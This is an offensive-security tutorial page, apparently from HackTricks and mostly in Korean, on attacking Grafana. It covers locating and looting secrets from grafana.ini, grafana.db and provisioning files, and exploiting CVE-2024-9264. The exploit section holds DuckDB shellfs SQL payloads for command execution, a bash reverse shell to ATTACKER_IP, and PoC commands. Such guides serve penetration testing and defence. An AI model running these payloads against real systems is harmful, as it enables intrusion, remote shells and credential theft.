Grafana
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
흥미로운 사항
- Main config is usually in
/etc/grafana/grafana.ini(Deb/RPM) and can contain sensitive values such asadmin_user,admin_password,secret_key, OAuth settings, SMTP creds, and renderer tokens. - By default Grafana stores data in SQLite3 under
/var/lib/grafana/grafana.db. - Provisioning files are 매우 흥미롭습니다 (호스트 접근 이후):
/etc/grafana/provisioning/datasources/*.yaml/etc/grafana/provisioning/plugins/*.yaml- Provisioning 파일은 environment-variable 확장을 지원하므로 leaked YAML은 종종 비밀값과 이를 뒷받침하는 env var names를 모두 드러냅니다.
- Installed plugins은 일반적으로
/var/lib/grafana/plugins아래에서 찾을 수 있습니다. - 플랫폼 내부에서는 역할에 따라 invite people, generate API keys / service account tokens, list plugins, 또는 install new plugins 등을 할 수 있습니다.
- 브라우저도 유용한 정보원입니다: Grafana는 비밀이 아닌 datasource 설정을 프런트엔드에 노출합니다. Viewer 세션이 있거나 (anonymous access가 활성화된 경우), DevTools에서
window.grafanaBootData를 확인하세요.
유용한 SQLite 검사:
.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;
Looting datasources and secrets
Grafana는 브라우저에서 읽을 수 있는 구성과 암호화된 secrets를 분리합니다:
- **
jsonData**는 브라우저에서 사용자에게 표시되며 내부 호스트, tenants, auth modes, header names, AWS regions, Elasticsearch indexes, Loki tenants, Prometheus URLs 등 유사한 recon 데이터 열거에 충분한 경우가 많습니다. - **
secureJsonData**는 서버 측에서 암호화되며 datasource가 저장된 이후에는 브라우저에서 더 이상 읽을 수 없습니다.
Post-exploitation workflow:
- **
grafana.ini**를 덤프하고 **secret_key**를 복구합니다. - **
grafana.db**와 provisioning 파일들을 획득합니다. - 재사용 가능한 credentials와 내부 엔드포인트를 찾기 위해 datasources 및 plugin 구성을 열거합니다.
- 데이터베이스를 다른 Grafana 인스턴스로 마이그레이션하거나 재생(replay)하는 경우 동일한 **
secret_key**를 유지해야 하며, 그렇지 않으면 저장된 datasource 비밀번호/토큰이 올바르게 복호화되지 않습니다.
Why secret_key matters in newer versions:
- Grafana v9부터 데이터베이스 secrets는 envelope encryption을 사용합니다.
- Grafana는 secrets를 **data encryption keys (DEKs)**로 암호화하며, 그 DEKs는 **
secret_key**에서 파생된 **key encryption key (KEK)**로 암호화됩니다. - 공격자 관점에서는
grafana.db+secret_key조합이 탈취할 가치가 있는 쌍입니다.
Plugin attack surface
plugins을 대상의 일부로 취급하되, 각주로 취급하지 마십시오:
- filesystem, UI, 또는 API에서 plugins를 열거합니다:
curl -s http://grafana.target/api/plugins | jq '.[].id'
- 오래되었거나 타사 플러그인은 HTTP 요청을 프록시하거나 로컬 파일/데이터베이스와 상호작용하기 때문에 Grafana의 내부 네트워크 접근 범위를 정기적으로 확장합니다.
- 최근 사례로는 Infinity 플러그인 (
< 3.4.1)의 SSRF와, Image Renderer 플러그인이 다른 버그를 full-read SSRF로 악용하는 경로가 있습니다.
CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI
Grafana의 실험적 SQL Expressions 기능은 사용자 제어 텍스트를 포함하는 DuckDB 쿼리를 실행할 수 있습니다. 불충분한 정화로 인해 공격자는 DuckDB 문을 연쇄 실행하고 커뮤니티 확장인 shellfs를 로드할 수 있으며, shellfs는 파이프 기반 가상 파일을 통해 셸 명령을 노출합니다.
Impact
- VIEWER 이상 권한의 인증된 사용자라면 누구나 Grafana OS 사용자로서(보통 grafana; 컨테이너 내에서는 가끔 root) 코드 실행을 하거나 로컬 파일 읽기를 수행할 수 있습니다.
- 실제 배포에서 흔히 충족되는 전제 조건:
- SQL Expressions enabled:
expressions.enabled = true duckdbbinary present in PATH on the server
Quick checks
- UI/API에서 Admin 설정(Swagger:
/swagger-ui, endpoint/api/admin/settings)을 확인하여 다음을 검증: expressions.enabled가 true인지- 선택 사항: 버전, datasource 유형 및 일반 하드닝 설정
- 호스트의 셸:
which duckdb가 아래 익스플로잇 경로를 위해 해석되어야 합니다.
Manual query pattern using DuckDB + shellfs
- Abuse flow (2 queries):
- shellfs 확장(extension)을 설치·로드하고, 명령을 실행한 뒤 파이프로 결합된 출력을 임시 파일로 리다이렉트
read_blob를 사용해 임시 파일을 다시 읽습니다
Example SQL Expressions payloads that get passed to DuckDB:
-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');
CMD를 원하는 명령으로 바꾸세요. file-read (LFI)의 경우 대신 DuckDB 파일 함수를 사용하여 로컬 파일을 읽을 수 있습니다.
원라이너 reverse shell 예제
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"
listener가 있는 동안 첫 번째 쿼리에서 CMD로 임베드하세요: nc -lnvp 443.
Automated PoC
- 공개 PoC (built on cfreal’s ten framework):
- https://github.com/nollium/CVE-2024-9264
사용 예시
# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target
If output shows uid=0(root), Grafana is running as root (common inside some containers).
2025 client-side traversal / open redirect chain
The 2025 Grafana client-side traversal and open-redirect chain is already documented in more generic client-side pages. Use those techniques against Grafana-specific paths such as plugin assets, dashboard script loaders, and token-rotation redirects:
References
- Grafana Advisory – CVE-2024-9264 (SQL Expressions RCE/LFI)
- Grafana docs – Add authentication for data source plugins (
jsonData,secureJsonData,window.grafanaBootData) - Grafana docs – Configure database encryption
- Grafana docs – Provision Grafana
- Cycode – One Plugin Away: Breaking Into Grafana from the Inside
- DuckDB shellfs community extension
- nollium/CVE-2024-9264 PoC
- cfreal/ten framework
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


